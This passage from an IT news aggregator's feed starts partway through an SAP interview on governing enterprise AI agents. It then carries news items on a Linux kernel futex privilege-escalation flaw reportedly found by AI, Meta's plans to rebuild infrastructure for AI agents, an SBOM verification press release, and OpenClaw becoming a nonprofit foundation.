<p class="wp-block-paragraph"><strong>Sean Kask:</strong> Measuring the business value of IT investments has never been easy. The same applies to AI. That’s why I currently consider the governance issue to be the greater challenge. While traditional governance principles and best practices for secure software development remain important even in the age of large language models and agent-based AI, entirely new risks are emerging at the same time.</p>



<p class="wp-block-paragraph">For example, as soon as companies roll out AI on a broad scale, they suddenly discover hundreds or even thousands of so-called shadow agents that employees are using without central oversight. Or they find that a significant portion of the workforce is copying content into private ChatGPT accounts. Such risks often only become apparent once AI is already being used productively.</p>



<p class="wp-block-paragraph"><em>According to your study, German companies invest an average of nearly $40 million in AI, more than companies in all other countries surveyed. Why is that?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> I was less surprised by the amount of investment than by the fact that, overall, the level of investment and the return on investment achieved have developed very similarly across the various countries. There’s no clear answer as to why Germany invests more. In part, it’s likely simply because costs here are higher than in India, for example.</p>



<p class="wp-block-paragraph">However, we’re also seeing a high level of AI adoption among German companies. SAP has a dashboard that allows us to track how our customers are using AI features. Germany is among the countries with particularly high usage. Added to this are the strong industrial base and the political impetus from Europe, which are driving the use of AI. Accordingly, companies there are making targeted investments in building the necessary expertise.</p>



<p class="wp-block-paragraph"><em>According to the study, 47% of German companies are satisfied with the return on investment from their AI investments. At the same time, 77% say they are still far from realizing AI’s full potential. Isn’t that a contradiction?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> No, we see this pattern worldwide. Companies initially invest in a few AI use cases and realize: This works; we’re creating added value. Accordingly, they’re satisfied with their investment.</p>



<p class="wp-block-paragraph">But this is precisely what leads them to identify further use cases. They explore AI agents and want to utilize them as well. However, it is exactly at this point that many encounter new challenges in implementation and scaling.</p>



<p class="wp-block-paragraph">The study therefore primarily highlights a learning curve: The more experience companies gain with AI, the greater their awareness of its previously untapped potential becomes.</p>



<p class="wp-block-paragraph"><em>According to the study, only 33% of companies surveyed have KPIs at the executive board level that are directly linked to the implementation of AI. In your view, which metrics should supervisory boards and CEOs definitely be tracking?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> For us, a key indicator is employee enablement. How many employees have already successfully completed training or upskilling programs related to AI? Without the appropriate skills, AI adoption will fall short of its potential.</p>



<p class="wp-block-paragraph">Transparency is equally important. Companies should know which AI agents are actually in use within their landscape. SAP offers the SAP AI Agent Hub for this purpose, which automatically discovers and inventories agents from SAP and third-party environments. Customers have already been able to identify thousands of agents this way, which highlights the need for centralized governance and transparency.</p>



<p class="wp-block-paragraph">In addition, companies should have a complete overview of all AI use cases. A robust business case should be in place for each use case. We often see two extremes: Either the executive board is under pressure to implement AI as quickly as possible and allocates a lump-sum budget for this purpose. Or management initially takes a wait-and-see approach. This leads to independent pilot projects springing up throughout the company, with individual departments procuring their own tools and entering into their own contracts.</p>



<p class="wp-block-paragraph">At SAP, we therefore follow a clearly structured selection process. Each idea first undergoes an assessment of its expected business value. We then examine technical feasibility, data availability, and ethical and governance aspects. From management’s perspective, it is crucial to maintain transparency regarding all ongoing AI projects at all times and to consistently prioritize them based on their business value.</p>



<h2 class="wp-block-heading">Agents, too, need a ‘hire-to-retire’ lifecycle</h2>



<p class="wp-block-paragraph"><em>Even with the introduction of dozens or even hundreds of AI agents, governance becomes increasingly complex. What capabilities do enterprise platforms need to manage AI agents securely and in a controlled manner at scale?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> We make a conscious effort not to anthropomorphize AI too much. Nevertheless, the analogy is helpful: Agents require a complete hire-to-retire lifecycle. This begins with the detection and registration of an agent. It is then integrated into the enterprise environment, granted the necessary permissions, and given access to the data sources it needs to perform its tasks.</p>



<p class="wp-block-paragraph">Observability is just as important. Companies must be able to track what an agent is actually doing in the system at all times. In addition, they should track key performance indicators: Is the agent achieving the desired results? How efficiently is it working? How many tokens does it consume? How many processing steps does it require for a task?</p>



<p class="wp-block-paragraph">Ultimately, this involves several key components: a complete inventory of all agents, appropriate governance, risk, and compliance (GRC) mechanisms, transparency regarding agent behavior, and continuous monitoring. This is the only way to ensure that AI agents consistently operate within defined parameters and deliver the desired business value.</p>



<p class="wp-block-paragraph"><em>In your estimation, which business processes will companies actually delegate entirely to AI agents over the next two to three years?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Currently, such agents work particularly well in clearly defined use cases. SAP will release more than 50 (currently 34) specialized AI agents.</p>



<p class="wp-block-paragraph">One example is periodic financial reporting. In this context, journal entries must be made based on numerous rules stored in documents, emails, or previous transactions. The agent analyzes these various sources of information, derives a recommendation from them, and suggests the appropriate journal entry to the user.</p>



<p class="wp-block-paragraph">Based on what we’ve heard from customer projects, employees at medium-sized companies currently spend about twelve hours per month on these tasks. With the help of an AI agent, this effort can be reduced to two to three hours.</p>



<p class="wp-block-paragraph">Another area of application is production planning. If delivery dates change or new orders come in at short notice, the entire production plan must be adjusted. It is precisely these kinds of complex optimization tasks that are ideally suited for AI agents.</p>



<p class="wp-block-paragraph">In principle, there are virtually no limits to the narrowly defined business processes in which agents can be deployed. However, they will not operate completely autonomously at first.</p>



<h2 class="wp-block-heading">Trust in AI begins with a stable foundation</h2>



<p class="wp-block-paragraph"><em>Many companies still struggle to trust AI agents. After all, large language models operate probabilistically and can produce false information. This is particularly problematic in financial processes. How do you build trust?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Trust begins with a stable foundation. ERP systems remain the reliable system of record. They operate deterministically, contain the business logic, and hold the relevant company data. AI agents build upon this foundation. They do not replace it.</p>



<p class="wp-block-paragraph">Equally important is the human-in-the-loop principle. Employees must be able to understand what the agent is doing, verify its results, and intervene if necessary. That’s why employee training also plays a crucial role. They must understand how generative AI works and where its limitations lie.</p>



<p class="wp-block-paragraph">Of course, language models can hallucinate. At the same time, we must not forget that humans are not infallible either. The key lies in the collaboration between humans and AI. This allows us to improve both the efficiency and the quality of many business processes.</p>



<p class="wp-block-paragraph">Another important component is transparency. Our global AI ethics policy, for example, stipulates that users must always be able to recognize when AI is involved. In Joule, it’s possible to trace which data sources the agent used and which steps it went through in reaching its decision. This traceability is an essential prerequisite for trust.</p>



<p class="wp-block-paragraph"><em>What distinguishes an SAP agent from a general AI agent that merely accesses an ERP system?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> The key difference is that Joule and the SAP agents are directly embedded in the ERP system. There, for example, we’ve built a knowledge graph that describes the semantic relationships between all tables, business objects, and data fields.</p>



<p class="wp-block-paragraph">To put this into perspective: The SAP S/4HANA Knowledge Graph is based on approximately 452,000 ABAP tables, 7.3 million data fields, and thousands of analytical views. The semantic relationships between these artifacts are modeled in the Knowledge Graph and made available for AI applications.</p>



<p class="wp-block-paragraph">For example, if a user wants to view all open purchase orders, the agent does not first have to laboriously search for the relevant information. It immediately knows which tables and objects are relevant and also understands the relationships between a purchase order, a purchase requisition, the responsible approvers, and other business objects. As a result, the agent not only works much more precisely but also requires significantly fewer tokens because it can greatly narrow down the search space.</p>



<p class="wp-block-paragraph">If, instead, one attempts to simply overlay AI onto an existing system or extract data from a relational ERP system, many of these relationships are lost. In a sense, this destroys the semantic context that is crucial for precise answers.</p>



<p class="wp-block-paragraph">That is why we view the ERP system as an enormous strategic advantage. It has been the system of record for decades and contains roughly 50 years of codified business and process knowledge. This knowledge forms the foundation for what we call the <a href="https://www.cio.com/article/4170465/saps-biggest-ai-bet-yet-agents-that-execute-not-just-assist.html">autonomous enterprise</a>. The agents build upon this knowledge and continue to develop it.</p>



<p class="wp-block-paragraph">In the future, SAP agents will also communicate bidirectionally with agents from other providers via standards such as Agent-to-Agent (A2A).</p>



<p class="wp-block-paragraph"><em>According to your study, AI currently creates the greatest added value in decision-making, customer interaction, and gaining new insights, rather than in traditional productivity gains. Will this change the way companies justify AI investments in the future?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> In our study, productivity was simply rated slightly lower than, for example, gaining new insights. In the long term, however, productivity remains the ultimate goal. Europe, in particular, has been suffering from comparatively weak productivity growth for years.</p>



<p class="wp-block-paragraph">At SAP, we therefore first evaluate every new AI feature based on its specific business value. For all agents and AI features that we include in our AI Feature Catalog, we first conduct a value analysis. We ask: What benefit does the feature offer the user? Does it contribute to higher revenue? Does it increase productivity? Only then is it developed further.</p>



<p class="wp-block-paragraph">At the moment, the greatest added value often still lies in consolidating information from structured and unstructured data sources and making it accessible via natural language. The next step, however, is to translate these insights directly into more efficient business processes. That is precisely where the greatest productivity gains will be realized in the future.</p>



<blockquote class="wp-block-quote is-style-plain is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>If you could give CIOs just one or two pieces of advice for the transition from generative AI to AI agents, what would they be?</em></p>
</blockquote>



<p class="wp-block-paragraph"><strong>Kask:</strong> In my view, the biggest mistake would be to try to transform the entire company all at once or to attempt to perfectly prepare all the data right from the start.</p>



<p class="wp-block-paragraph">Instead, you should consider what kind of agent can create significant added value, and then implement it. Of course, this agent needs access to consistent and context-rich enterprise data. That’s exactly what we’re working on at SAP with technologies like the knowledge graph, which maps the semantic relationships within enterprise data.</p>



<p class="wp-block-paragraph">In addition, with data products and the SAP Business Data Cloud, we provide tools that make data from various sources usable for AI agents. Thanks to zero-copy and data fabric approaches, information from legacy systems, Snowflake, or ERP systems can be consolidated without first having to extensively replicate the data. For a procurement agent, this makes it possible to provide exactly the relevant data for the specific use case.</p>



<p class="wp-block-paragraph">The key point is this: Companies do not have to wait until they have fully migrated to the cloud or consolidated their entire data landscape. With the technologies available today, data can already be made usable for specific AI agents, managed in a controlled manner, and used to quickly generate initial business value. On the other hand, those who wait for the perfect starting point run the risk of falling behind.</p>



<p class="wp-block-paragraph"><em>This article is adapted from one first published by Computerwoche.</em></p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<p class="wp-block-paragraph"><a></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Uncovers a 15-Year-Old Linux Kernel Root Vulnerability Hidden Since 2011]]></title>
<description><![CDATA[by George Whittaker
      
            Artificial intelligence has helped uncover one of the most significant Linux kernel security flaws in recent years. Security researchers at Nebula Security announced the discovery of GhostLock (CVE-2026-43499), a critical local privilege escalation vulnerabi...]]></description>
<link>https://tsecurity.de/de/3671239/unix-server/ai-uncovers-a-15-year-old-linux-kernel-root-vulnerability-hidden-since-2011/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671239/unix-server/ai-uncovers-a-15-year-old-linux-kernel-root-vulnerability-hidden-since-2011/</guid>
<pubDate>Wed, 15 Jul 2026 18:01:55 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341444" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/ai-uncovers-a-15-year-old-linux-kernel-root-vulnerability-hidden-since-2011.jpg" width="850" height="500" alt="AI Uncovers a 15-Year-Old Linux Kernel Root Vulnerability Hidden Since 2011" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/george-whittaker" lang="" about="https://www.linuxjournal.com/users/george-whittaker" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">George Whittaker</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>Artificial intelligence has helped uncover one of the most significant Linux kernel security flaws in recent years. Security researchers at <strong>Nebula Security</strong> announced the discovery of <strong>GhostLock (CVE-2026-43499)</strong>, a critical local privilege escalation vulnerability that remained hidden in the Linux kernel for approximately <strong>15 years</strong> before being identified by the company's AI-powered vulnerability research platform, <strong>VEGA</strong>.</p>

<p>The vulnerability affects Linux kernels dating back to <strong>version 2.6.39 (2011)</strong> and allows an unprivileged local user to obtain full root privileges on vulnerable systems. Its discovery not only highlights the importance of timely kernel updates but also demonstrates how AI is beginning to transform vulnerability research.</p>

<h2><strong>What Is GhostLock?</strong></h2>

<p>GhostLock is a <strong>use-after-free (UAF)</strong> vulnerability located in the Linux kernel's <strong>futex (fast userspace mutex)</strong> implementation.</p>

<p>Futexes are synchronization primitives that allow user-space applications to efficiently coordinate access to shared resources while minimizing expensive kernel interactions. Because they are widely used throughout Linux, any flaw within this subsystem can have broad security implications.</p>

<p>According to Nebula Security, incorrect handling of the <code>remove_waiter()</code> function can leave behind a dangling kernel pointer that an attacker can manipulate to execute arbitrary code with kernel privileges.</p>

<h2><strong>A Reliable Path to Root Access</strong></h2>

<p>One of the reasons GhostLock has attracted so much attention is the reported reliability of the exploit.</p>

<p>Researchers demonstrated that an attacker with nothing more than a standard local user account can escalate privileges to root in roughly <strong>five seconds</strong>, with a reported success rate of <strong>97%</strong> on vulnerable systems.</p>

<p>Unlike many kernel exploits that are unstable or require highly specific system configurations, GhostLock appears to be both practical and repeatable, making it particularly concerning for administrators.</p>

<h2><strong>Container Escapes Are Also Possible</strong></h2>

<p>The implications extend beyond traditional Linux desktops and servers.</p>

<p>Researchers report that GhostLock can also be used to <strong>escape containers</strong> and compromise the underlying host operating system. Because containers share the host kernel, a successful privilege escalation inside a container can potentially grant root access to the host itself.</p>

<p>This makes the vulnerability especially important for environments running:</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/ai-uncovers-15-year-old-linux-kernel-root-vulnerability-hidden-2011" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
</item>
<item>
<title><![CDATA['We have maybe 20 months' to rebuild for AI agents, Meta's infrastructure VP tells VB Transform 2026]]></title>
<description><![CDATA[Organizations need to transform to meet the needs of agentic AI.Meta VP of Engineering Barak Yagour opened his talk at VB Transform 2026 wearing a pair of Ray-Ban Meta AI glasses, a small sign of how far AI has already worked its way into physical life. His argument went further: enterprise infra...]]></description>
<link>https://tsecurity.de/de/3671199/it-nachrichten/we-have-maybe-20-months-to-rebuild-for-ai-agents-metas-infrastructure-vp-tells-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671199/it-nachrichten/we-have-maybe-20-months-to-rebuild-for-ai-agents-metas-infrastructure-vp-tells-vb-transform-2026/</guid>
<pubDate>Wed, 15 Jul 2026 17:33:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Organizations need to transform to meet the needs of agentic AI.</p><p>Meta VP of Engineering Barak Yagour opened his talk at<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a> wearing a pair of Ray-Ban Meta AI glasses, a small sign of how far AI has already worked its way into physical life. His argument went further: enterprise infrastructure was built for humans, not for agents, and it's starting to show.</p><p>Yagour, who leads its data infrastructure organization, told the audience that agentic queries hitting Meta's data systems grew 30x in a single half, an inversion that he said is breaking assumptions the company spent two decades building around.</p><p>The shift is not confined to Meta. Automated traffic overtook human traffic on the internet last year, reaching 51% of the total, according to <a href="https://www.imperva.com/resources/resource-library/reports/2025-bad-bot-report/">Imperva's 2025 Bad Bot Report</a>. That traffic is also growing roughly eight times faster than human traffic, according to <a href="https://www.humansecurity.com/2026-state-of-ai-traffic-cyberthreat-benchmark-report/">HUMAN Security's 2026 State of AI Traffic report</a>. Yagour cited both figures to describe what he called an inflection point already underway inside his own organization.</p><p>Yagour framed the shift as an open question for infrastructure teams everywhere. "What happens to the infrastructure we've spent years building when agents and not humans become the main consumers of that," Yagour said. "That's the world we're stepping into."</p><h2>Capacity, identity and velocity are breaking at once</h2><p>Yagour said three assumptions are breaking simultaneously inside Meta's infrastructure: capacity, identity and velocity.</p><p>On capacity, the math no longer works the way engineering teams are used to. "One engineer used to mean one unit of load," he said. "Now one engineer spawns 10 agents, each spawning subagents. Your 1,000-person org can generate the load of 100,000 users practically overnight."</p><p>His answer is not to block agent traffic but to make infrastructure agent-aware, with dynamic controls that understand agent hierarchies, cost attribution that traces consumption back to the use case that spawned it, and throttling that adapts based on priority.</p><p>Identity is breaking, too. Yagour said an agent does not fit the categories infrastructure teams built access controls around. It is not a human user, it does not carry a badge and it is not a deployed service, yet it makes decisions on its own.</p><p>Velocity is the third assumption under strain. Yagour cited a company-reported figure that GitHub Copilot writes 46% of the average user's code, then noted that faster code generation does not make the rest of the pipeline faster.</p><p>"That code still needs to be built, tested, deployed, monitored," he said. "The agent writes the code in seconds, but your CI/CD pipeline doesn't get faster just because the machine is the author."</p><h2>Trusted data environments keep agents inside guardrails</h2><p>Data is where Yagour said the pressure from agents is most direct. </p><p>"Data sits at the center of everything," he said, pointing to the decisions, products, recommender systems and next generation models it drives.</p><p>Meta is also rethinking how much autonomy to grant agents inside its own data systems. In February, the company shipped what Yagour called agentic data apps. Within three months, 63% of dashboards published across Meta were built using the new tooling, part of the same 30x rise in agentic queries Yagour cited earlier.</p><p>That growth raises a governance question. Human analysts have traditionally sat between raw data and business decisions, curating it and serving as an informal check on quality. Yagour said Meta wants to grant agents more independence on harder problems, but was direct about the risk. </p><p>"Autonomy without governance is nothing but chaos," he said. That's why the company built what it calls trusted data environments, to preserve the human check as agents take on more of that work.</p><p>"Inside, the agent can explore data freely, but every output is traced back to its source and scrutinized. So you always know that the data shared back is trusted and governed," Yagour said.</p><p>Sensitive fields are masked before an agent can reach them, and every access request is evaluated in real time against what the agent is trying to reach, why and whether it is allowed. Yagour summarized the approach as exploring broadly while releasing narrowly.</p><h2>Reasoning models are rewriting the data layer</h2><p>Meta's models are also demanding more from data as they shift from correlation to reasoning. </p><p>"Reasoning is data hungry," Yagour said. </p><p>Pattern matching works on sparse, summarized signals. Reasoning demands the full behavioral history, every interaction across every surface over time. Yagour pointed to two shifts already underway inside Meta's infrastructure to keep up.</p><p><b>Real-time streaming is replacing batch ETL for ranking pipelines.</b> A pipeline that takes 24 hours to run is not viable when a model is reasoning about a user's current intent. Yagour said real-time streaming, not batch extract-transform-load processing, is becoming the backbone of Meta's ranking and recommendation systems.</p><p><b>Storage is becoming schema-aware to stop GPU starvation.</b> Meta previously stored user data as opaque blobs with no awareness of what the data contained, which Yagour said led to heavy overfetching and idle GPU capacity. The company is now building storage that understands what it holds, pulling only the columns and time ranges a given query needs. Yagour said Meta is building toward 500 million queries per second and a petabyte per second of throughput for training data reads.</p><p>That data feeds directly into how Meta's recommendation systems behave. Yagour said 42% of Instagram users have told the company they want to fundamentally change the algorithm, not adjust a single session or setting. Meta's response is what Yagour called fully conversational recommendations, where a user tells the system what they want more of and it reasons about intent rather than matching on keywords. Yagour said the same search term, soccer, would return different results for a casual fan looking for highlights than for a club athlete seeking training drills, because the system would reason about which one is asking.</p><p>Yagour described the three threads of his talk, agents, data and recommendations, as reinforcing each other rather than moving independently. </p><p>"Agents make data more accessible. Better data makes reasoning. Reasoning creates new demands that push agents and infrastructure forward," he said. "This isn't linear; it's a flywheel."</p><p>During the Q&amp;A, an audience member asked whether Meta's push toward more intelligent infrastructure signals the end of traditional file systems in favor of newer neural storage approaches, and whether agents will keep using SQL as their interface to data the way humans do. Yagour said Meta is experimenting at every level, including questioning whether SQL is the right interface for agents at all, and that storage at Meta's scale already operates in the multi-digit exabyte range and needs to keep expanding.</p><p>Yagour closed his talk with the timeline he believes the industry is working against. "We spent 20 years building infrastructure for humans. We have maybe 20 months to rebuild the whole thing for a world where humans and agents co-create at scale," Yagour said. "The window is open, but it won't stay open for long."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[News alert: Insignary’s on-demand SBOM verification boosts software supply chain security]]></title>
<description><![CDATA[TORONTO, July 15, 2026, CyberNewswire – According to Insignary Inc., a leader in software supply chain security and binary software composition analysis (SCA), most organizations cannot independently verify what is actually inside the software they deploy — because traditional … (more…) 
The post...]]></description>
<link>https://tsecurity.de/de/3671166/it-security-nachrichten/news-alert-insignarys-on-demand-sbom-verification-boosts-software-supply-chain-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671166/it-security-nachrichten/news-alert-insignarys-on-demand-sbom-verification-boosts-software-supply-chain-security/</guid>
<pubDate>Wed, 15 Jul 2026 17:24:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>TORONTO, July 15, 2026, CyberNewswire – According to <a href="https://insignary.com/" rel="nofollow">Insignary Inc.</a>, a leader in software supply chain security and binary software composition analysis (SCA), most organizations cannot independently verify what is actually inside the software they deploy — because traditional … <a href="https://www.lastwatchdog.com/news-alert-insignarys-on-demand-sbom-verification-boosts-software-supply-chain-security/" class="read-more">(more…) </a></p>
<p>The post <a href="https://www.lastwatchdog.com/news-alert-insignarys-on-demand-sbom-verification-boosts-software-supply-chain-security/">News alert: Insignary’s on-demand SBOM verification boosts software supply chain security</a> first appeared on <a href="https://www.lastwatchdog.com/">The Last Watchdog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw becomes a nonprofit foundation as it seeks to be ‘the Switzerland of AI’]]></title>
<description><![CDATA[OpenClaw’s announcement that it has become a nonprofit foundation is generating IT excitement because of the potential for governance and development consistency that the popular platform has thus far lacked. Still, some worry about the risks created by the move. 



“Our ambition is for OpenClaw...]]></description>
<link>https://tsecurity.de/de/3671162/ai-nachrichten/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671162/ai-nachrichten/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:35 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenClaw’s announcement that it has become a nonprofit foundation is generating IT excitement because of the potential for governance and development consistency that <a href="https://www.computerworld.com/article/4128257/openclaw-the-ai-agent-thats-got-humans-taking-orders-from-bots.html" target="_blank">the popular platform </a>has thus far lacked. Still, some worry about the risks created by the move. </p>



<p class="wp-block-paragraph">“Our ambition is for OpenClaw to be the Switzerland of AI. Neutral ground where every model and every lab can plug into the technology and collaborate on standards in the era of agents,” <a href="https://openclaw.ai/blog/introducing-openclaw-foundation/" target="_blank" rel="noreferrer noopener">OpenClaw said in a post</a>. “That work is already underway in Foundation-convened councils on agent identity, agent profiles, evals, and enterprise deployment.”</p>



<p class="wp-block-paragraph">The statement, co-authored by OpenClaw creator <a href="https://www.linkedin.com/in/steipete/" target="_blank" rel="noreferrer noopener">Peter Steinberger</a>, pointed out, “the great open source projects of our time — Linux, Apache, Mozilla — endure because a neutral steward stands behind them. That is the role we are taking on to keep OpenClaw MIT licensed, open, and independent so that everyone building on it can trust it will be here for the long term.”</p>



<p class="wp-block-paragraph">But it reassured users that the original OpenClaw leadership is still in charge.</p>



<p class="wp-block-paragraph">“Peter built this thing and Peter keeps making the calls, especially the technical ones. Since joining OpenAI earlier this year, he has continued to steward OpenClaw as an open and independent project, and OpenAI has made a commitment to keep it that way,” the post said. “The foundation is here to serve: good governance, stable funding, and paying the people who keep the claws alive.”</p>



<p class="wp-block-paragraph">However, some analysts and consultants were skeptical about how much true independence Steinberger would have, given his salaried role with OpenAI. </p>



<h2 class="wp-block-heading">Neutrality claim in question</h2>



<p class="wp-block-paragraph">“The Switzerland of AI neutrality claim collapses under its own announcement,” said <a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520. “OpenAI runs a team [at OpenAI] called Claw Labs that Peter leads and OpenAI is a major donor to OpenClaw. The ‘neutral steward’s’ chief technical decision maker is employed by one of the competing labs it is supposed to be neutral with.” To OpenAI, he said, OpenClaw is closer to a tax-exempt nonprofit subsidiary than it is to a neutral ‘Switzerland of AI.’</p>



<p class="wp-block-paragraph">He pointed out that, in addition, Microsoft is shipping <a href="https://www.computerworld.com/article/4173442/enterpriseclaw-wants-to-bring-governance-to-the-openclaw-era-2.html" target="_blank">the enterprise version</a> of OpenClaw, and Nvidia is shipping the hardware bundle. “This is being called the Switzerland of AI, but Switzerland does not have its central bank run by France,” he observed.</p>



<p class="wp-block-paragraph">Kenney said that what the new OpenClaw has actually built is “a shared dependency that several competitors fund, staff, and steer, wrapped in a nonprofit structure. Enterprise IT should understand that structure, because treating OpenClaw as neutral is a mistake,” adding that CIOs need to look at this development devoid of the emotional component. </p>



<p class="wp-block-paragraph">“There is a strategic irony here that CIOs should sit with,” Kenney said. “If OpenClaw succeeds at becoming the universal agent substrate, then every model plugs into the same identity layer, the same profiles, and the same deployment plumbing. The thing every vendor is racing to own becomes a commodity that nobody owns.” He pointed out that, in the short term, that is genuinely good news for buyers because it means less lock-in and more portability.</p>



<p class="wp-block-paragraph">“But,” he said, “when the connective tissue is free and natural, the only labs that benefit are the ones with the best models and the deepest distribution. Commoditize the layer below you and you compete on the layer where you are already strongest. The foundation is not a charity. It is the biggest players agreeing to stop fighting over the plumbing so they can fight over the water, and the enterprise is the one paying the water bill either way.”</p>



<h2 class="wp-block-heading">Good news, bad news</h2>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, principal analyst at Moor Insights &amp; Strategy, liked the potential consistency that could emerge from the structural change, given the complexity of agent development today. </p>



<p class="wp-block-paragraph">“We are seeing a lot of OpenClaw variants hit the market, such as those from Nvidia as well as competing products from cloud and SaaS vendors. A common base helps solidify the common parts,” Andersen noted. “That said, a common challenge is the sustainability of these open source foundations over time. In addition to releasing code, these foundations need funding to evolve and grow. And that funding needs to come from continued momentum to incentivize existing members to increase investment and recruit new members to join.”</p>



<p class="wp-block-paragraph">Andersen stressed that IT buyers need to keep an eye on the roadmap for any OpenClaw variant they choose to deploy, “as that will directly impact the foundation, and the momentum of the foundation and common base. If the common base loses momentum, it can lead to forks, or just a loss of innovation. When that happens, members tend to back away, which puts customers in limbo.”</p>



<p class="wp-block-paragraph">But not everyone sees the promised structure as entirely good for IT.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/ishraqkhann/" target="_blank" rel="noreferrer noopener">Ishraq Khan</a>, CEO at coding productivity tool vendor Kodezi, said, “most CIOs do not want to bet their future entirely on a single model vendor. They want Claude for some workloads, GPT for others, open models for sensitive environments, and potentially internally fine-tuned systems for specific use cases. The problem is that every vendor currently brings its own identity system, tool interfaces, permissions model, and operational assumptions. That fragmentation does not scale.”</p>



<p class="wp-block-paragraph">He said, “the risk if standards fail is straightforward: every vendor builds its own closed ecosystem, enterprises become locked into individual stacks, and security becomes dramatically harder. The opportunity if OpenClaw succeeds is equally significant: enterprises get portable agents, common identity standards, interoperable tooling, and a healthier competitive market around models rather than ecosystems.”</p>



<h2 class="wp-block-heading">Will it remain a nonprofit?</h2>



<p class="wp-block-paragraph">However, said <a href="https://acceligence.com/talent/profiles/justin-greis/" target="_blank" rel="noreferrer noopener">Justin Greis</a>, CEO of consulting firm Acceligence, one of the key details that IT executives will want to keep in mind is that OpenAI also began as a nonprofit, but it was quickly <a href="https://www.computerworld.com/article/4056490/openai-microsoft-discuss-shape-of-future-relationship.html" target="_blank">seen as not adhering to nonprofit objectives</a>. </p>



<p class="wp-block-paragraph">“OpenAI’s transition from a nonprofit research organization into a more complex structure highlighted the challenge of maintaining mission alignment while scaling technology, capital, partnerships, and commercial operations,” Greis said. “OpenClaw has the opportunity to address some of those governance questions earlier by establishing clear principles around neutrality, transparency, and decision-making before the ecosystem becomes even larger and more valuable.”</p>



<p class="wp-block-paragraph">He noted, “we have seen this pattern before with technologies like Linux and Kubernetes. The strongest open ecosystems succeeded because they created trusted foundations that enterprises could build upon. The technology was important, but the governance model that underpinned it was equally critical.”</p>



<h2 class="wp-block-heading">Risks are ‘squarely in IT’s lap’</h2>



<p class="wp-block-paragraph">Consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, echoed Greis’ concerns. </p>



<p class="wp-block-paragraph">“CIOs shouldn’t assume that this nonprofit will always be a nonprofit, or confuse being a nonprofit with actually being neutral or unbiased,” he said. “The risks are squarely in IT’s lap: autonomous agents ‘with their own identity’ acting on a user’s behalf blow straight through traditional IAM assumptions. Issues, such as agent identity, auditability, secret handling. Identity boundaries have not yet been reliably solved. Until they are, enterprises should treat OpenClaw agents like privileged service accounts, not like a browser plugin.”</p>



<p class="wp-block-paragraph">Independent cybersecurity and risk advisor <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a> pointed to another IT exposure that might come from this OpenClaw transition: Cost.</p>



<p class="wp-block-paragraph">“OpenClaw currently has a very high token burn rate in usage, which presents a significant cost consideration for large-scale enterprise adoption,” he said. “The skills marketplace introduces <a href="https://www.csoonline.com/article/4129867/what-cisos-need-to-know-about-clawdbot-i-mean-moltbot-i-mean-openclaw.html" target="_blank">a new supply chain threat </a>that enterprises will need to manage. Threat management, and specifically handling <a href="https://www.csoonline.com/article/4135449/compromised-npm-package-silently-installs-openclaw-on-developer-machines.html" target="_blank">external marketplace elements</a>, can be highly challenging for open-source operations. Ultimately, at scale, enterprise adoption could become a difficult balancing act between managing high operational costs and securing an expanded security surface.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.computerworld.com/article/4196365/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai.html" target="_blank">Computerworld</a>.</em></p>
